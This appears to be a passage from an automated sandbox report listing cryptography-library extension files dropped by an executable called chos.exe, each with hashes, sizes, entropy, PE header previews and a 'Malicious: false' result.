                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...S..f.........." .....6... ......P.....................................................`.........................................@Z......([..d............p..................(....R...............................R..8............P...............................text....5.......6.................. ..`.rdata..x....P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..(............R..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA256.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):21504
                                                                                                                                                                                                                                            Entropy (8bit):5.881781476285865
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:EJWo4IRCGHXfKXqHGcvYHp5RYcARQOj4MSTjqgPmJD12gkxEv:EcIRnHXfP/YtswvaD1zk
                                                                                                                                                                                                                                            MD5:CDE035B8AB3D046B1CE37EEE7EE91FA0
                                                                                                                                                                                                                                            SHA1:4298B62ED67C8D4F731D1B33E68D7DC9A58487FF
                                                                                                                                                                                                                                            SHA-256:16BEA322D994A553B293A724B57293D57DA62BC7EAF41F287956B306C13FD972
                                                                                                                                                                                                                                            SHA-512:C44FDEE5A210459CE4557351E56B2D357FD4937F8EC8EACEAB842FEE29761F66C2262FCBAAC837F39C859C67FA0E23D13E0F60B3AE59BE29EB9D8ABAB0A572BB
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...S..f.........." .....6... ......P.....................................................`.........................................@Z......([..d............p..................(....R...............................R..8............P...............................text....5.......6.................. ..`.rdata..x....P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..(............R..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA384.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):26624
                                                                                                                                                                                                                                            Entropy (8bit):5.837887867708438
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:e839Cc4itui0gel9soFdkO66MlPGXmXcyYDTzks:Ns4u/FZ6nPxMLDvk
                                                                                                                                                                                                                                            MD5:999D431197D7E06A30E0810F1F910B9A
                                                                                                                                                                                                                                            SHA1:9BFF781221BCFFD8E55485A08627EC2A37363C96
                                                                                                                                                                                                                                            SHA-256:AB242B9C9FB662C6F7CB57F7648F33983D6FA3BB0683C5D4329EC2CC51E8C875
                                                                                                                                                                                                                                            SHA-512:A5DD92DD471ADB44EEFE5919EF9CA3978724E21174DF5B3A9C1F0AB462F928E5A46A460D02417DB7522F5DE3BFEED5EEE6B1EAFAF3E621722E85E72675F7096F
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...T..f.........." .....H..."......P.....................................................`..........................................k.......l..d...............................(...pd...............................d..8............`...............................text....F.......H.................. ..`.rdata.......`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..(............f..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA512.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):26624
                                                                                                                                                                                                                                            Entropy (8bit):5.895310340516013
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:lcX9Nf4ttui0gel9soFdkO66MlPGXmXc/vDTOvk:a38u/FZ6nPxM3DAk
                                                                                                                                                                                                                                            MD5:0931ABBF3AED459B1A2138B551B1D3BB
                                                                                                                                                                                                                                            SHA1:9EC0296DDAF574A89766A2EC035FC30073863AB0
                                                                                                                                                                                                                                            SHA-256:1729A0DC6B80CB7A3C07372B98B10D3C6C613EA645240878E1FDE6A992FA06F1
                                                                                                                                                                                                                                            SHA-512:9F970BB4D10B94F525DDDDE307C7DA5E672BBFB3A3866A34B89B56ADA99476724FD690A4396857182749294F67F36DB471A048789FB715D2A7DAF46917FC1947
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...T..f.........." .....H..."......P.....................................................`.........................................@l......(m..d...............................(....d...............................e..8............`...............................text...hG.......H.................. ..`.rdata..x....`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..(............f..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_clmul.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12800
                                                                                                                                                                                                                                            Entropy (8bit):4.967737129255606
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:dMpWt/1nCuqaL0kt7TsEx2fiTgDZqGF0T7cqgkLgJ:k/k1Ts64DDJyBgkLg
                                                                                                                                                                                                                                            MD5:5F057A380BACBA4EF59C0611549C0E02
                                                                                                                                                                                                                                            SHA1:4B758D18372D71F0AA38075F073722A55B897F71
                                                                                                                                                                                                                                            SHA-256:BCB14DAC6C87C24269D3E60C46B49EFFB1360F714C353318F5BBAA48C79EC290
                                                                                                                                                                                                                                            SHA-512:E1C99E224745B86EE55822C1DBCB4555A11EC31B72D87B46514917EB61E0258A1C6D38C4F592969C17EB4F0F74DA04BCECA31CF1622720E95F0F20E9631792E8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^J.6?$.6?$.6?$.?G..2?$.dJ%.4?$.}G%.5?$.6?%..?$.dJ!.<?$.dJ .>?$.dJ'.5?$..J,.7?$..J$.7?$..J..7?$..J&.7?$.Rich6?$.........................PE..d...V..f.........." ................P.....................................................`.........................................P8.......8..d....`.......P...............p..(....1...............................1..8............0...............................text............................... ..`.rdata..2....0......................@..@.data...H....@.......(..............@....pdata.......P.......*..............@..@.rsrc........`......................@..@.reloc..(....p.......0..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_portable.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13312
                                                                                                                                                                                                                                            Entropy (8bit):5.007867576025166
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:bMt/1nCuqaL0ktPH0T7fwtF4zDn2rGacqgRGd:1/kpU3Yv4zDXqgRGd
                                                                                                                                                                                                                                            MD5:49BCA1B7DF076D1A550EE1B7ED3BD997
                                                                                                                                                                                                                                            SHA1:47609C7102F5B1BCA16C6BAD4AE22CE0B8AEE9E9
                                                                                                                                                                                                                                            SHA-256:49E15461DCB76690139E71E9359F7FCF92269DCCA78E3BFE9ACB90C6271080B2
                                                                                                                                                                                                                                            SHA-512:8574D7FA133B72A4A8D1D7D9FDB61053BC88C2D238B7AC7D519BE19972B658C44EA1DE433885E3206927C75DD5D1028F74999E048AB73189585B87630F865466
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...V..f.........." ................P.....................................................`..........................................8.......8..d....`.......P..X............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..X....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..(....p.......2..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_keccak.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):15872
                                                                                                                                                                                                                                            Entropy (8bit):5.226023387740053
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:rfRKTN+HLjRskTdf4WazSTkwjEvuY2bylHDiYIgovg:mcHfRl5pauoSjy5DiE
                                                                                                                                                                                                                                            MD5:CB5CFDD4241060E99118DEEC6C931CCC
                                                                                                                                                                                                                                            SHA1:1E7FED96CF26C9F4730A4621CA9D18CECE3E0BCE
                                                                                                                                                                                                                                            SHA-256:A8F809B6A417AF99B75EEEEA3ECD16BDA153CBDA4FFAB6E35CE1E8C884D899C4
                                                                                                                                                                                                                                            SHA-512:8A89E3563C14B81353D251F9F019D8CBF07CB98F78452B8522413C7478A0D77B9ABF2134E4438145D6363CDA39721D2BAE8AD13D1CDACCBB5026619D95F931CF
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...U..f.........." ..... ... ......P.....................................................`..........................................9.......9..d....`.......P..X............p..(...p2...............................2..8............0...............................text............ .................. ..`.rdata..@....0.......$..............@..@.data........@.......4..............@....pdata..X....P.......6..............@..@.rsrc........`.......:..............@..@.reloc..(....p.......<..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_poly1305.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):14848
                                                                                                                                                                                                                                            Entropy (8bit):5.262055670423592
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:C/ZN2eq/b04PAHH41F6fnVS0sVn+5CA5Z1cD66WGcqgFjLg:vI4IHHaQfSVnCZyDImgFjLg
                                                                                                                                                                                                                                            MD5:18D2D96980802189B23893820714DA90
                                                                                                                                                                                                                                            SHA1:5DEE494D25EB79038CBC2803163E2EF69E68274C
                                                                                                                                                                                                                                            SHA-256:C2FD98C677436260ACB9147766258CB99780A007114AED37C87893DF1CF1A717
                                                                                                                                                                                                                                            SHA-512:0317B65D8F292332C5457A6B15A77548BE5B2705F34BB8F4415046E3E778580ABD17B233E6CC2755C991247E0E65B27B5634465646715657B246483817CACEB7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...V..f.........." ................P.....................................................`..........................................8.......9..d....`.......P..|............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......."..............@..@.data........@.......0..............@....pdata..|....P.......2..............@..@.rsrc........`.......6..............@..@.reloc..(....p.......8..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Math\_modexp.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):36352
                                                                                                                                                                                                                                            Entropy (8bit):5.913843738203007
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:dspbXtHQY4ubrttQza9CHnZXQsnecAlOF0qZLAXxQI3Sya6XPpMg3Yx8MnDcCPSq:7Y44UagH6cAFCLUSYpMg3YDzPo5kG9G
                                                                                                                                                                                                                                            MD5:EF472BA63FD22922CA704B1E7B95A29E
                                                                                                                                                                                                                                            SHA1:700B68E7EF95514D5E94D3C6B10884E1E187ACD8
                                                                                                                                                                                                                                            SHA-256:66EEF4E6E0CEEEF2C23A758BFBEDAE7C16282FC93D0A56ACAFC40E871AC3F01C
                                                                                                                                                                                                                                            SHA-512:DC2060531C4153C43ABF30843BCB5F8FA082345CA1BB57F9AC8695EDDB28FF9FDA8132B6B6C67260F779D95FCADCAE2811091BCA300AB1E041FAE6CC7B50ABD8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..P~...~...~...w.3.x...,...|...5...}...~...U...,...u...,...v...,...}.......|............._.............Rich~...................PE..d...^..f.........." .....`...0......`.....................................................`..........................................~..|...L...d...............<...............(....q...............................q..8............p..(............................text...X^.......`.................. ..`.rdata.......p.......d..............@..@.data................x..............@....pdata..<...........................@..@.rsrc...............................@..@.reloc..(...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Protocol\_scrypt.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12288
                                                                                                                                                                                                                                            Entropy (8bit):4.735350805948923
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:rhsC3eqv6b0q3OQ3rHu5bc64OhD2I/p3cqgONLg:r/Hq3jHuY64OhDJJgONLg
                                                                                                                                                                                                                                            MD5:3B1CE70B0193B02C437678F13A335932
                                                                                                                                                                                                                                            SHA1:063BFD5A32441ED883409AAD17285CE405977D1F
                                                                                                                                                                                                                                            SHA-256:EB2950B6A2185E87C5318B55132DFE5774A5A579259AB50A7935A7FB143EA7B1
                                                                                                                                                                                                                                            SHA-512:0E02187F17DFCFD323F2F0E62FBFE35F326DCF9F119FC8B15066AFAEEE4EB7078184BC85D571B555E9E67A2DD909EC12D8A67E3D075E9B1283813EF274E05C0D
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^:.6?T.6?T.6?T.?G..2?T.dJU.4?T.}GU.5?T.6?U..?T.dJQ.<?T.dJP.>?T.dJW.5?T..J\.7?T..JT.7?T..J..7?T..JV.7?T.Rich6?T.........................PE..d...Z..f.........." ................P.....................................................`..........................................8..d....8..d....`.......P..4............p..(....1...............................1..8............0...............................text...H........................... ..`.rdata..0....0......................@..@.data........@.......&..............@....pdata..4....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..(....p......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve25519.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):22528
                                                                                                                                                                                                                                            Entropy (8bit):5.705606408072877
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:19BcRxBmau38CYIl9bhgIW0mvufueNr359/tjGGDEFSegqrA:NcRy38J+9dmvufFtaGDV
                                                                                                                                                                                                                                            MD5:FF33C306434DEC51D39C7BF1663E25DA
                                                                                                                                                                                                                                            SHA1:665FCF47501F1481534597C1EAC2A52886EF0526
                                                                                                                                                                                                                                            SHA-256:D0E3B6A2D0E073B2D9F0FCDB051727007943A17A4CA966D75EBA37BECDBA6152
                                                                                                                                                                                                                                            SHA-512:66A909DC9C3B7BD4050AA507CD89B0B3A661C85D33C881522EC9568744953B698722C1CBFF093F9CBCD6119BD527FECAB05A67F2E32EC479BE47AFFA4377362C
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...\..f.........." .....6...$......P.....................................................`.........................................`Y......`Z..d............p..................(....R..............................0R..8............P...............................text...(5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......P..............@..@.rsrc................T..............@..@.reloc..(............V..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve448.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):70656
                                                                                                                                                                                                                                            Entropy (8bit):6.0189903352673655
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:Jfju4GgRMgWWnEDZiECgd/iwOXUQdbhov0Clb8Cx4hpK8ithLFIDullRPwDHxXOa:pXRMgWiEDZiECgd/iwOXUQdbhov0ClbU
                                                                                                                                                                                                                                            MD5:F267BF4256F4105DAD0D3E59023011ED
                                                                                                                                                                                                                                            SHA1:9BC6CA0F375CE49D5787C909D290C07302F58DA6
                                                                                                                                                                                                                                            SHA-256:1DDE8BE64164FF96B2BAB88291042EB39197D118422BEE56EB2846E7A2D2F010
                                                                                                                                                                                                                                            SHA-512:A335AF4DBF1658556ED5DC13EE741419446F7DAEC6BD2688B626A803FA5DD76463D6367C224E0B79B17193735E2C74BA417C26822DAEEF05AC3BAB1588E2DE83
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..P~...~...~...w.3.x...,...|...5...}...~...U...,...u...,...v...,...}.......|............._.............Rich~...................PE..d...\..f.........." .........8......`........................................P............`.............................................0.......d....0....... ..$............@..(.......................................8............................................text...8........................... ..`.rdata..............................@..@.data...............................@....pdata..$.... ......................@..@.rsrc........0......................@..@.reloc..(....@......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ec_ws.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):770560
                                                                                                                                                                                                                                            Entropy (8bit):7.613224993327352
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:XtIrHoxJ8gf1266y8IXhJvCKAmqVLzcrZgYIMGv1iLD9yQvG6h:XtIrHoxJFf1p34hcrn5Go9yQO6
                                                                                                                                                                                                                                            MD5:1EFD7F7CB1C277416011DE6F09C355AF
                                                                                                                                                                                                                                            SHA1:C0F97652AC2703C325AB9F20826A6F84C63532F2
                                                                                                                                                                                                                                            SHA-256:AB45FA80A68DB1635D41DC1A4AAD980E6716DAC8C1778CB5F30CDB013B7DF6E6
                                                                                                                                                                                                                                            SHA-512:2EC4B88A1957733043BBD63CEAA6F5643D446DB607B3267FAD1EC611E6B0AF697056598AAC2AE5D44AB2B9396811D183C32BCE5A0FF34E583193A417D1C5226B
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........s.. .. .. ... .. ..!.. ..!.. .. .. ..!.. ..!.. ..!.. \..!.. \..!.. \.r .. \..!.. Rich.. ................PE..d...[..f.........." ................`.....................................................`.............................................h.......d...............................0......................................8...............(............................text............................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..0...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed25519.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):26112
                                                                                                                                                                                                                                            Entropy (8bit):5.8551858881598795
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:BczadRwoF2MZ81n0XTyMCYIl9bhgIW0mv8aeadRcwRwftjGLD2pRQNgQQ77k:2udRf2MuMJ+9dmv8aea34taLDcfQ
                                                                                                                                                                                                                                            MD5:C5FB377F736ED731B5578F57BB765F7A
                                                                                                                                                                                                                                            SHA1:5BA51E11F4DE1CAEDEBA0F7D4D10EC62EC109E01
                                                                                                                                                                                                                                            SHA-256:32073DF3D5C85ABCE7D370D6E341EF163A8350F6A9EDC775C39A23856CCFDD53
                                                                                                                                                                                                                                            SHA-512:D361BCDAF2C700D5A4AC956D96E00961432C05A1B692FC870DB53A90F233A6D24AA0C3BE99E40BD8E5B7C6C1B2BCDCDCFC545292EF321486FFC71C5EA7203E6A
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...]..f.........." .....B...&......P.....................................................`..........................................i..0....k..d...............................(... b..............................@b..8............`...............................text....A.......B.................. ..`.rdata..P....`.......F..............@..@.data........p.......V..............@....pdata...............^..............@..@.rsrc................b..............@..@.reloc..(............d..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed448.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):84992
                                                                                                                                                                                                                                            Entropy (8bit):6.064677498000638
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:BrYNvxcZeLrIeNs2qkTwe57DsuP45PqAqVDK9agdUiwOXyQdDrov0slb8gx4TBKW:Br4vxcZeLrIeN1TvHsuP45yAqVDK9ag3
                                                                                                                                                                                                                                            MD5:8A0C0AA820E98E83AC9B665A9FD19EAF
                                                                                                                                                                                                                                            SHA1:6BF5A14E94D81A55A164339F60927D5BF1BAD5C4
                                                                                                                                                                                                                                            SHA-256:4EE3D122DCFFE78E6E7E76EE04C38D3DC6A066E522EE9F7AF34A09649A3628B1
                                                                                                                                                                                                                                            SHA-512:52496AE7439458DEDB58A65DF9FFDCC3A7F31FC36FE7202FB43570F9BB03ABC0565F5EF32E5E6C048ED3EBC33018C19712E58FF43806119B2FB5918612299E7E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..P~...~...~...w.3.x...,...|...5...}...~...U...,...u...,...v...,...}.......|............._.............Rich~...................PE..d...^..f.........." .........8......`.....................................................`..........................................C..h...HE..d....p.......`..l...............(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......4..............@....pdata..l....`.......>..............@..@.rsrc........p.......H..............@..@.reloc..(............J..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_cpuid_c.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):10240
                                                                                                                                                                                                                                            Entropy (8bit):4.675380950473425
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:frQRpBddzAvzrqTOy/ThIz014mlxuLnkC75JiSBhsPeSztllIDpqf4AZaRcX6gnO:Qddz2KTnThIz0qfteRIDgRWcqgnCWt
                                                                                                                                                                                                                                            MD5:44B930B89CE905DB4716A548C3DB8DEE
                                                                                                                                                                                                                                            SHA1:948CBFF12A243C8D17A7ACD3C632EE232DF0F0ED
                                                                                                                                                                                                                                            SHA-256:921C2D55179C0968535B20E9FD7AF55AD29F4CE4CF87A90FE258C257E2673AA5
                                                                                                                                                                                                                                            SHA-512:79DF755BE8B01D576557A4CB3F3200E5EE1EDE21809047ABB9FF8D578C535AC1EA0277EDA97109839A7607AF043019F2C297E767441C7E11F81FDC87FD1B6EFC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
